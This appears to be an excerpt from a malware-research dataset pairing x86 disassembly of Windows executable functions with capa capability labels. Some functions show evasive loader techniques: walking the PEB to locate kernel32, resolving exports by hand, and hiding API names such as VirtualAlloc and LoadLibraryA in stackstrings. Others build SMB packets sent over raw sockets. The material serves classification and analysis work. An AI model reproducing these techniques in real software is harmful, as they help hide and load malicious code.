joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409079
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov eax, 0x102d0
mov ebp, esp
push ebx
push esi
push edi
call fcn.0040c490
lea eax, [ebp - 0x1020c]
xor esi, esi
push 0x200
push esi
push eax
mov ebx, dword [ebp + 0xc]
call fcn.00409b60
lea eax, [ebp - 0x102d8]
add esp, 0xc
push 0x64
push 0
push eax
call fcn.00409b60
lea eax, [ebp - 0x10274]
add esp, 0xc
push 0x64
push 0
push eax
call fcn.00409b60
mov edi, 2
add esp, 0xc
jmp 0x4090d8
mov byte [ebp + edi - 0x102da], al
inc edi
push ebx
call fcn.004098c0
cmp edi, eax
pop ecx
jae 0x4090ea
mov al, byte [ebx + edi]
cmp al, 0x5c
jne 0x4090d0
lea eax, [ebp - 0x102d8]
push eax
call fcn.004098c0
xor ebx, ebx
pop ecx
mov dword [ebp - 0x102dc], eax
cmp ebx, dword [ebp - 0x102dc]
jl 0x409117
mov byte [ebp - 0x1020d], 0x41
mov byte [ebp - 0x1020e], 0x43
jmp 0x409144
movsx ecx, byte [ebp + ebx - 0x102d8]
mov edi, pe_nt_image_headers32
mov eax, ecx
cdq
idiv edi
mov edi, pe_nt_image_headers32
add al, 0x41
mov byte [ebp - 0x1020e], al
mov eax, ecx
cdq
idiv edi
lea edx, [edx + 0x41]
mov byte [ebp - 0x1020d], dl
mov dl, byte [ebp - 0x1020e]
inc ebx
mov byte [ebp + esi - 0x10274], dl
mov al, byte [ebp - 0x1020d]
mov byte [ebp + esi - 0x10273], al
add esi, 2
cmp ebx, 0x10
jl 0x4090ff
mov byte [ebp - 0x10209], 0x48
mov byte [ebp - 0x1020c], 0x81
lea eax, [ebp - 0x1020c]
lea ecx, [ebp - 0x10274]
add eax, 5
push esi
push ecx
push eax
mov byte [ebp - 0x10208], 0x20
call fcn.00409b20
mov byte [ebp + esi - 0x10206], 0x20
add esp, 0xc
lea eax, [ebp - 0x10274]
push str.CACACACACACACACACACACACACACACAAA
push eax
call fcn.0040b2b0
lea eax, [ebp - 0x10274]
pop ecx
lea edx, [esi + 7]
pop ecx
push 0x20
push eax
lea eax, [ebp - 0x1020c]
add edx, eax
push edx
call fcn.00409b20
lea eax, [ebp - 0x1020c]
add esp, 0xc
lea ecx, [esi + 0x25]
push 0
push ecx
push eax
push dword [ebp + 8]
call sub.WSOCK32.dll_send
cmp eax, 0xffffffff
jne 0x4091ee
jmp 0x409221
lea eax, [ebp - 0x1000c]
push 0x10000
push 0
push eax
call fcn.00409b60
lea eax, [ebp - 0x1000c]
add esp, 0xc
push 0
push 0x2000
push eax
push dword [ebp + 8]
call sub.WSOCK32.dll_recv
cmp eax, 0xffffffff
jne 0x409228
mov eax, 0xffffffff
jmp 0x409247
movsx edx, byte [ebp - 0xffeb]
movsx eax, byte [ebp - 0xffec]
shl edx, 8
add edx, eax
mov eax, dword [ebp + 0x10]
mov dword [eax], edx
movsx eax, byte [ebp - 0x1000c]
lea esp, [ebp - 0xc]
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x409250
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov eax, 0x10000
mov ebp, esp
push ebx
push esi
push edi
call fcn.0040c490
push dword [ebp + 0x10]
call fcn.004098c0
pop ecx
mov esi, eax
push dword [ebp + 0xc]
call fcn.004098c0
add esi, eax
pop ecx
add esi, 2
push dword [ebp + 0x10]
lea ebx, [esi + 0x37]
call fcn.004098c0
inc eax
pop ecx
mov edi, eax
lea eax, [ebp - 0x1000c]
push 0x10000
push 0
push eax
call fcn.00409b60
mov eax, ebx
mov ecx, 0x100
cdq
add esp, 0xc
mov byte [ebp - 0x10008], 0xff
push dword [ebp + 0x10]
idiv ecx
mov ecx, 0x100
mov byte [ebp - 0x10007], 0x53
mov byte [ebp - 0xffe1], 2
mov byte [ebp - 0x10006], 0x4d
mov byte [ebp - 0xffe2], 0x11
mov byte [ebp - 0x10005], 0x42
mov byte [ebp - 0xffe3], 4
mov byte [ebp - 0x10004], 0x73
mov byte [ebp - 0xffe7], 0xff
mov byte [ebp - 0xffff], 0x18
mov byte [ebp - 0xffe8], 0xa
mov byte [ebp - 0xfffe], 1
mov byte [ebp - 0xffed], 0x28
mov byte [ebp - 0xfffd], 0x20
mov byte [ebp - 0x1000a], al
mov eax, ebx
cdq
mov ebx, 0x100
idiv ecx
mov eax, edi
mov ecx, 0x100
mov byte [ebp - 0x10009], dl
cdq
idiv ecx
mov eax, edi
mov ecx, 0x100
mov byte [ebp - 0xffd9], dl
cdq
idiv ebx
mov ebx, 0x100
mov byte [ebp - 0xffd8], al
mov eax, esi
cdq
idiv ecx
mov eax, esi
mov byte [ebp - 0xffd3], dl
cdq
idiv ebx
mov byte [ebp - 0xffd2], al
call fcn.004098c0
pop ecx
push eax
lea eax, [ebp - 0x1000c]
add eax, 0x3b
push dword [ebp + 0x10]
push eax
call fcn.00409b20
add esp, 0xc
push dword [ebp + 0xc]
call fcn.004098c0
pop ecx
push eax
push dword [ebp + 0xc]
push dword [ebp + 0x10]
call fcn.004098c0
add eax, 0x3c
pop ecx
lea ecx, [ebp - 0x1000c]
add eax, ecx
push eax
call fcn.00409b20
add esp, 0xc
push 0
push dword [ebp + 0xc]
call fcn.004098c0
pop ecx
mov ebx, eax
push dword [ebp + 0x10]
call fcn.004098c0
add ebx, eax
lea eax, [ebp - 0x1000c]
add ebx, 0x3d
pop ecx
push ebx
push eax
push dword [ebp + 8]
call sub.WSOCK32.dll_send
cmp eax, 0xffffffff
jne 0x4093e1
jmp 0x4093fe
lea eax, [ebp - 0x1000c]
push 0
push 0x400
push eax
push dword [ebp + 8]
call sub.WSOCK32.dll_recv
cmp eax, 0xffffffff
jne 0x409405
mov eax, 0xffffffff
jmp 0x40940c
movsx eax, byte [ebp - 0x10003]
lea esp, [ebp - 0xc]
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x40d3d0
Capabilities:
Read file on windows

Disassembly:
push esi
push edi
sub esp, 0x18
lea edi, [esp + 8]
mov esi, 0x42ab60
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
cmp dword [0x42590c], 0
mov dword [esp + 0x14], 0x42ab6c
jne 0x40d4b0
push 0
call fcn.0040e410
cmp dword [0x411058], 0
pop ecx
jle 0x40d423
dec dword [0x411058]
mov edi, dword [0x411058]
call dword [edi*4 + 0x411160]
cmp dword [0x411058], 0
jg 0x40d407
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileType]
cmp eax, 2
jne 0x40d491
push str._n__n_Press_Enter_to_continue__n
call fcn.0040b200
lea eax, [esp + 0xc]
pop ecx
push 0
push 0
push 3
push eax
push 3
push 0xc0000000
push str.CONIN_
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea edx, [esp + 0x14]
lea esi, [esp + 4]
push 0
push esi
push 1
push edx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40d491
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov dword [esp + 8], eax
push str.exit_routine_error_GetLastError_i__n
call fcn.0040b200
pop ecx
pop ecx
push 0
call fcn.0040e430
cmp dword [0x42593c], 0
pop ecx
je 0x40d4b0
call dword [0x42593c]
xor ecx, ecx
mov dword [0x42593c], ecx
mov eax, dword [esp + 0x24]
push eax
call fcn.0040d4d0
pop ecx
add esp, 0x18
pop edi
pop esi
ret
Function at 0x4100b0
Capabilities:
Query environment variable

Disassembly:
push esi
push edi
push ebp
call fcn.004100a0
mov esi, dword [eax]
inc dword [eax]
test esi, esi
je 0x4100c4
pop ebp
pop edi
pop esi
ret
call fcn.0040e3b0
push 8
call fcn.0040c4c0
test eax, eax
pop ecx
mov dword [0x41d450], eax
je 0x4100f7
push 0xfffffffffffffff6
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, dword [0x41d450]
mov dword [edx], eax
mov eax, edx
mov ebp, edx
mov byte [eax + 4], 1
xor eax, eax
mov byte [ebp + 5], al
push 8
call fcn.0040c4c0
test eax, eax
pop ecx
mov dword [0x41d454], eax
je 0x410125
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov esi, dword [0x41d454]
mov dword [esi], eax
mov eax, esi
mov edi, esi
mov byte [eax + 4], 1
xor eax, eax
mov byte [edi + 5], al
push 8
call fcn.0040c4c0
test eax, eax
pop ecx
mov dword [0x41d458], eax
je 0x410153
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, dword [0x41d458]
mov dword [ecx], eax
mov eax, ecx
mov edx, ecx
mov byte [eax + 4], 1
xor eax, eax
mov byte [edx + 5], al
mov dword [0x42594c], 3
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
mov ebp, eax
mov esi, ebp
jmp 0x410185
mov ecx, 0xffffffff
mov edi, ebp
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, 0xfffffffe
sub eax, ecx
inc eax
add ebp, eax
cmp byte [ebp], 0x3d
je 0x410170
mov edx, ebp
jmp 0x4101a5
mov ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, 0xfffffffe
sub eax, ecx
inc eax
add edx, eax
cmp byte [edx], 0
jne 0x410190
mov edi, edx
sub edi, ebp
push edi
call fcn.0040c4c0
test eax, eax
pop ecx
mov dword [0x41172c], eax
je 0x4101c9
push edi
push ebp
push eax
call fcn.00409b20
add esp, 0xc
push esi
mov dword [0x42591c], 0x41172c
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
pop ebp
pop edi
pop esi
ret
Function at 0x4102a0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
sub esp, 0x20
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
xor eax, eax
mov ecx, 0xffffffff
mov edi, esi
repne scasb al, byte es:[edi]
mov eax, 0xfffffffe
sub eax, ecx
inc eax
push eax
call fcn.0040c4c0
mov dword [ebp - 0x28], eax
xor eax, eax
mov dword [0x425970], eax
pop ecx
jmp 0x410320
inc ebx
mov al, byte [esi + ebx]
cmp al, 0x20
je 0x4102e0
cmp al, 9
je 0x4102e0
test al, al
je 0x410326
inc dword [0x425970]
jmp 0x410311
cmp al, 0x22
jne 0x410310
lea eax, [eax]
inc ebx
mov al, byte [esi + ebx]
test al, al
je 0x41030c
cmp al, 0x22
jne 0x410300
cmp al, 0x22
jne 0x410311
inc ebx
mov al, byte [esi + ebx]
test al, al
je 0x410320
cmp al, 0x20
je 0x410320
cmp al, 9
jne 0x4102f8
cmp byte [esi + ebx], 0
jne 0x4102e1
mov eax, dword [0x425970]
inc eax
shl eax, 2
push eax
call fcn.0040c4c0
mov dword [0x42596c], eax
xor eax, eax
xor edi, edi
pop ecx
mov dword [0x425970], eax
mov dword [ebp - 0x2c], 0
jmp 0x4103e3
inc edi
mov al, byte [esi + edi]
cmp al, 0x20
je 0x410350
cmp al, 9
je 0x410350
test al, al
je 0x4103ed
mov eax, dword [0x425970]
mov ebx, dword [ebp - 0x28]
mov dword [ebp - 0x14], eax
add ebx, dword [ebp - 0x2c]
mov eax, dword [0x42596c]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
mov dword [eax + ecx*4], ebx
jmp 0x4103be
cmp bl, 0x22
jne 0x4103b1
inc edi
jmp 0x41039d
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [eax + ecx], bl
inc edi
inc dword [ebp - 0x2c]
mov bl, byte [esi + edi]
test bl, bl
je 0x4103a9
cmp bl, 0x22
jne 0x410390
cmp bl, 0x22
jne 0x4103be
inc edi
jmp 0x4103be
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [eax + ecx], bl
inc edi
inc dword [ebp - 0x2c]
mov bl, byte [esi + edi]
test bl, bl
je 0x4103cf
cmp bl, 0x20
je 0x4103cf
cmp bl, 9
jne 0x410382
xor ebx, ebx
inc dword [0x425970]
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [eax + ecx], bl
inc dword [ebp - 0x2c]
cmp byte [esi + edi], 0
jne 0x410351
xor eax, eax
mov ecx, dword [0x425970]
mov edx, dword [0x42596c]
mov dword [edx + ecx*4], eax
lea esp, [ebp - 0xc]
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x4106d0
Capabilities:
Read file on windows

Disassembly:
push ebx
push esi
push edi
push ebp
sub esp, 8
mov eax, dword [esp + 0x1c]
mov esi, dword [eax*4 + 0x41d450]
mov ebp, dword [esp + 0x20]
test esi, esi
mov edi, dword [esp + 0x24]
jne 0x4106f8
xor eax, eax
add esp, 8
pop ebp
pop edi
pop esi
pop ebx
ret
lea eax, [esp + 4]
movsx ebx, byte [esi + 4]
push 0
push eax
mov eax, dword [esi]
push edi
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x410784
cmp dword [esp + 4], 0
je 0x410778
test ebx, ebx
je 0x410778
xor esi, esi
mov edx, ebp
xor ebx, ebx
mov ecx, ebp
cmp dword [esp + 4], 0
jbe 0x41074b
lea eax, [eax]
mov al, byte [ecx]
cmp al, 0xd
jne 0x410740
cmp byte [ecx + 1], 0xa
jne 0x410740
inc ecx
inc ebx
jmp 0x410744
inc ecx
mov byte [edx], al
inc edx
inc esi
cmp esi, dword [esp + 4]
jb 0x410730
cmp dword [esp + 4], edi
jne 0x410774
cmp dword [esp + 4], 1
jbe 0x410774
mov eax, dword [esp + 4]
cmp byte [ebp + eax - 1], 0xd
jne 0x410774
push 1
push 0xffffffffffffffff
push dword [esp + 0x24]
call fcn.00410670
add esp, 0xc
inc ebx
sub dword [esp + 4], ebx
mov eax, dword [esp + 4]
add esp, 8
pop ebp
pop edi
pop esi
pop ebx
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x425968], eax
xor eax, eax
add esp, 8
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4107a0
Capabilities:
Write file on windows

Disassembly:
push ebx
push esi
push edi
push ebp
sub esp, 0x10
mov eax, dword [esp + 0x24]
mov edx, dword [eax*4 + 0x41d450]
mov ebp, dword [esp + 0x28]
test edx, edx
mov ebx, dword [esp + 0x2c]
mov dword [esp + 4], 0
jne 0x4107d0
xor eax, eax
add esp, 0x10
pop ebp
pop edi
pop esi
pop ebx
ret
movsx eax, byte [edx + 4]
mov edi, dword [edx]
test eax, eax
je 0x410822
xor eax, eax
xor esi, esi
test ebx, ebx
jle 0x4107ef
cmp byte [ebp + eax], 0xa
jne 0x4107ea
inc esi
inc eax
cmp eax, ebx
jl 0x4107e2
lea eax, [esi + ebx]
push eax
call fcn.0040c4c0
xor edx, edx
pop ecx
test ebx, ebx
mov dword [esp + 4], eax
mov ecx, eax
jle 0x41081c
cmp byte [ebp + edx], 0xa
jne 0x410810
mov byte [ecx], 0xd
inc ecx
mov al, byte [ebp + edx]
inc edx
mov byte [ecx], al
inc ecx
cmp edx, ebx
jl 0x410805
add ebx, esi
mov ebp, dword [esp + 4]
mov eax, dword [esp + 0x24]
mov eax, dword [eax*4 + 0x41d450]
cmp byte [eax + 5], 0
je 0x410843
push 2
push 0
push dword [esp + 0x2c]
call fcn.00410670
add esp, 0xc
lea eax, [esp + 0xc]
push 0
push eax
push ebx
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [esp + 4], 0
mov esi, eax
je 0x410866
push dword [esp + 4]
call fcn.0040c510
pop ecx
test esi, esi
je 0x410876
mov eax, dword [esp + 0xc]
add esp, 0x10
pop ebp
pop edi
pop esi
pop ebx
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x425968], eax
xor eax, eax
add esp, 0x10
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4016c4
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov eax, 0x6b
mov word [ebp - 0x24], ax
mov ecx, 0x65
mov word [ebp - 0x22], cx
mov edx, 0x72
mov word [ebp - 0x20], dx
mov eax, 0x6e
mov word [ebp - 0x1e], ax
mov ecx, 0x65
mov word [ebp - 0x1c], cx
mov edx, 0x6c
mov word [ebp - 0x1a], dx
mov eax, 0x33
mov word [ebp - 0x18], ax
mov ecx, 0x32
mov word [ebp - 0x16], cx
mov edx, 0x2e
mov word [ebp - 0x14], dx
mov eax, 0x64
mov word [ebp - 0x12], ax
mov ecx, 0x6c
mov word [ebp - 0x10], cx
mov edx, 0x6c
mov word [ebp - 0xe], dx
xor eax, eax
mov word [ebp - 0xc], ax
mov dword [ebp - 4], 0
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov eax, dword [ebx + 0x28]
test eax, eax
je 0x401778
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.00401654
add esp, 8
cmp eax, 0
mov eax, dword [ebx + 0x10]
mov ebx, dword [ebx]
jne 0x401751
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401784
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x14
push ebp
push edi
mov edi, ecx
mov ebp, edx
test edi, edi
je 0x40179f
test ebp, ebp
je 0x40179f
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
jne 0x4017a7
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + edi + 0x78]
add eax, edi
push ebx
mov ecx, dword [eax + 0x20]
mov edx, dword [eax + 0x24]
mov ebx, dword [eax + 0x14]
add ecx, edi
mov dword [esp + 0x10], ecx
push esi
mov esi, dword [eax + 0x1c]
mov ecx, ebp
sub ecx, dword [eax + 0x10]
add esi, edi
add edx, edi
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], edx
mov dword [esp + 0x10], ebx
cmp ecx, ebx
ja 0x4017e7
mov eax, dword [esi + ecx*4]
pop esi
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + 0x18]
xor esi, esi
mov dword [esp + 0x18], eax
test eax, eax
je 0x401843
mov ecx, ebx
movzx ebx, word [edx + esi*2]
cmp ebx, ecx
ja 0x40183e
mov eax, dword [esp + 0x14]
mov ecx, ebp
mov eax, dword [eax + esi*4]
add eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x401829
test dl, dl
je 0x401825
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x401829
add ecx, 2
add eax, 2
test dl, dl
jne 0x401809
xor eax, eax
jmp 0x40182e
sbb eax, eax
or eax, 1
test eax, eax
je 0x40184d
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
inc esi
cmp esi, eax
jb 0x4017f6
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [esp + 0x20]
pop esi
mov eax, dword [eax + ebx*4]
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
Function at 0x401864
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10
push ebx
push edi
mov edi, edx
mov ebx, ecx
call fcn.004016c4
test eax, eax
jne 0x40187c
pop edi
pop ebx
add esp, 0x10
ret
push esi
lea edx, [esp + 0xc]
mov ecx, eax
mov dword [esp + 0xc], 0x74726956
mov dword [esp + 0x10], 0x416c6175
mov dword [esp + 0x14], 0x636f6c6c
mov byte [esp + 0x18], 0
call fcn.00401784
mov esi, eax
test esi, esi
jne 0x4018b2
pop esi
pop edi
pop ebx
add esp, 0x10
ret
push 0x40
push 0x3000
push edi
push ebx
call esi
test eax, eax
jne 0x4018cc
push 0x40
push 0x3000
push edi
push eax
call esi
pop esi
pop edi
pop ebx
add esp, 0x10
ret
Function at 0x4019c4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x44
push esi
push edi
mov dword [esp + 0x1c], edx
mov edi, ecx
call fcn.004016c4
mov esi, eax
test esi, esi
jne 0x4019e2
pop edi
xor eax, eax
pop esi
add esp, 0x44
ret
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x64616f4c
mov dword [esp + 0x3c], 0x7262694c
mov dword [esp + 0x40], 0x41797261
mov byte [esp + 0x44], 0
call fcn.00401784
mov dword [esp + 0x18], eax
test eax, eax
je 0x4019da
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x65657246
mov dword [esp + 0x3c], 0x7262694c
mov dword [esp + 0x40], 0x797261
call fcn.00401784
mov dword [esp + 0x34], eax
test eax, eax
je 0x4019da
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x50746547
mov dword [esp + 0x3c], 0x41636f72
mov dword [esp + 0x40], 0x65726464
mov word [esp + 0x44], 0x7373
mov byte [esp + 0x46], 0
call fcn.00401784
mov dword [esp + 0x28], eax
test eax, eax
je 0x4019da
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x4d746547
mov dword [esp + 0x3c], 0x6c75646f
mov dword [esp + 0x40], 0x6e614865
mov dword [esp + 0x44], 0x41656c64
mov byte [esp + 0x48], 0
call fcn.00401784
mov dword [esp + 0x30], eax
test eax, eax
je 0x4019da
mov eax, dword [edi + 0x3c]
push ebx
cmp dword [eax + edi + 0x84], 0
push ebp
je 0x401ba9
mov ecx, dword [eax + edi + 0x80]
add ecx, edi
xor esi, esi
lea ebx, [ecx + 0xc]
mov dword [esp + 0x34], ecx
mov dword [esp + 0x10], esi
cmp dword [ebx], esi
je 0x401ba9
mov eax, ebx
mov ebp, ecx
mov eax, dword [eax]
add eax, edi
push eax
mov dword [esp + 0x2c], eax
call dword [esp + 0x24]
mov dword [esp + 0x2c], eax
mov eax, dword [ebp]
mov dword [esp + 0x1c], eax
test eax, eax
jne 0x401b0c
mov eax, dword [ebp + 0x10]
mov dword [esp + 0x1c], eax
add eax, edi
mov dword [esp + 0x14], 0
cmp dword [eax], 0
je 0x401b8d
mov dword [esp + 0x18], 0
nop
mov eax, dword [eax]
test eax, eax
jns 0x401b2f
movzx esi, ax
jmp 0x401b34
lea esi, [edi + 2]
add esi, eax
mov ecx, dword [esp + 0x24]
test ecx, ecx
je 0x401b53
push dword [esp + 0x58]
and eax, 0x80000000
push eax
push esi
push dword [esp + 0x34]
call ecx
mov ecx, eax
test ecx, ecx
jne 0x401b62
push esi
push dword [esp + 0x30]
call dword [esp + 0x38]
mov ecx, eax
test ecx, ecx
je 0x401bb6
mov eax, dword [ebp + 0x10]
add eax, dword [esp + 0x18]
mov dword [eax + edi], ecx
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x1c]
inc ecx
mov dword [esp + 0x14], ecx
shl ecx, 2
add eax, ecx
add eax, edi
mov dword [esp + 0x18], ecx
cmp dword [eax], 0
jne 0x401b24
mov esi, dword [esp + 0x10]
mov ecx, dword [esp + 0x34]
inc esi
mov dword [esp + 0x10], esi
lea eax, [esi + esi*4]
lea ebp, [ecx + eax*4]
cmp dword [ebp + 0xc], 0
lea eax, [ebp + 0xc]
jne 0x401ae9
pop ebp
pop ebx
pop edi
mov eax, 1
pop esi
add esp, 0x44
ret
cmp dword [ebx], 0
je 0x401bdf
mov esi, dword [esp + 0x10]
xor ebp, ebp
lea ecx, [ecx]
cmp ebp, esi
ja 0x401bdf
mov eax, dword [ebx]
add eax, edi
push eax
call dword [esp + 0x3c]
push eax
call dword [esp + 0x40]
add ebx, 0x14
inc ebp
cmp dword [ebx], 0
jne 0x401bc4
pop ebp
pop ebx
pop edi
xor eax, eax
pop esi
add esp, 0x44
ret
Function at 0x401bf4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x18
push esi
push edi
mov edi, ecx
call fcn.004016c4
mov esi, eax
test esi, esi
je 0x401cb0
push ebp
lea edx, [esp + 0x10]
mov ecx, esi
mov dword [esp + 0x10], 0x65657246
mov dword [esp + 0x14], 0x7262694c
mov dword [esp + 0x18], 0x797261
call fcn.00401784
mov ebp, eax
test ebp, ebp
je 0x401caf
lea edx, [esp + 0x10]
mov ecx, esi
mov dword [esp + 0x10], 0x4d746547
mov dword [esp + 0x14], 0x6c75646f
mov dword [esp + 0x18], 0x6e614865
mov dword [esp + 0x1c], 0x41656c64
mov byte [esp + 0x20], 0
call fcn.00401784
mov edx, eax
mov dword [esp + 0xc], edx
test edx, edx
je 0x401caf
mov ecx, dword [edi + 0x3c]
cmp dword [ecx + edi + 0x84], 0
je 0x401caf
push ebx
mov ebx, dword [ecx + edi + 0x80]
add ebx, edi
xor esi, esi
mov eax, dword [ebx + 0xc]
test eax, eax
je 0x401cae
lea ebx, [ebx]
add eax, edi
push eax
call edx
push eax
call ebp
mov edx, dword [esp + 0x10]
lea esi, [esi + 1]
lea eax, [esi + esi*4]
mov eax, dword [ebx + eax*4 + 0xc]
test eax, eax
jne 0x401c94
pop ebx
pop ebp
pop edi
pop esi
add esp, 0x18
ret
Function at 0x40a4c4
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
push dword [ebp + 8]
call fcn.00401608
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 8
jge 0x40a516
mov eax, 0
jmp 0x40a6a9
push dword [ebp + 8]
call fcn.004015e4
mov dword [ebp - 8], eax
fild dword [ebp - 4]
fstp qword [ebp - 0x20]
fld qword [ebp - 0x20]
fadd qword [0x4b29b8]
fstp qword [ebp - 0x28]
mov dword [ebp - 0x2c], esp
fld qword [ebp - 0x28]
call fcn.00402134
push eax
push 8
push dword [0x4cb0b1]
xor eax, eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
nop
nop
cmp dword [ebp - 0x2c], esp
je 0x40a570
push 0x132
push 0x40ed3e3
push 6
call fcn.004855a1
add esp, 0xc
mov dword [ebp - 0xc], eax
fild dword [ebp - 4]
fstp qword [ebp - 0x20]
fld qword [ebp - 0x20]
fsub qword [0x4b29b8]
fstp qword [ebp - 0x28]
fld qword [ebp - 0x28]
call fcn.00402134
push eax
lea eax, [ebp - 0x10]
mov ebx, eax
mov ecx, 0
pop edx
push edx
push ecx
push ebx
mov dword [ebx], ecx
cmp ecx, edx
jg 0x40a662
push dword [ebp - 0x10]
push dword [ebp - 8]
call fcn.0040a6af
mov word [ebp - 0x14], ax
cmp word [ebp - 0x14], 0
jne 0x40a5fb
mov dword [ebp - 0x1c], esp
push 0
push dword [ebp - 0xc]
xor eax, eax
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryW]
nop
nop
cmp dword [ebp - 0x1c], esp
je 0x40a5f1
push 0x218
push 0x40ed3e3
push 6
call fcn.004855a1
add esp, 0xc
jmp 0x40a662
cmp word [ebp - 0x14], 0x5c
jne 0x40a649
cmp dword [ebp - 0x18], 0
jle 0x40a641
mov dword [ebp - 0x1c], esp
push 0
push dword [ebp - 0xc]
xor eax, eax
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryW]
nop
nop
cmp dword [ebp - 0x1c], esp
je 0x40a641
push 0x2b9
push 0x40ed3e3
push 6
call fcn.004855a1
add esp, 0xc
inc dword [ebp - 0x18]
jmp 0x40a649
push dword [ebp - 0x14]
push dword [ebp - 0x10]
push dword [ebp - 0xc]
call fcn.0040a6fc
pop ebx
pop ecx
pop edx
add ecx, 2
jmp 0x40a599
add esp, 0xc
mov dword [ebp - 0x1c], esp
push dword [ebp - 0xc]
push 0
push dword [0x4cb0b1]
xor eax, eax
call dword [sym.imp.KERNEL32.DLL_HeapFree]
nop
nop
cmp dword [ebp - 0x1c], esp
je 0x40a69c
push 0x36a
push 0x40ed3e3
push 6
call fcn.004855a1
add esp, 0xc
push dword [ebp + 8]
call fcn.0040a3ed
jmp 0x40a6a9
mov esp, ebp
pop ebp
ret 4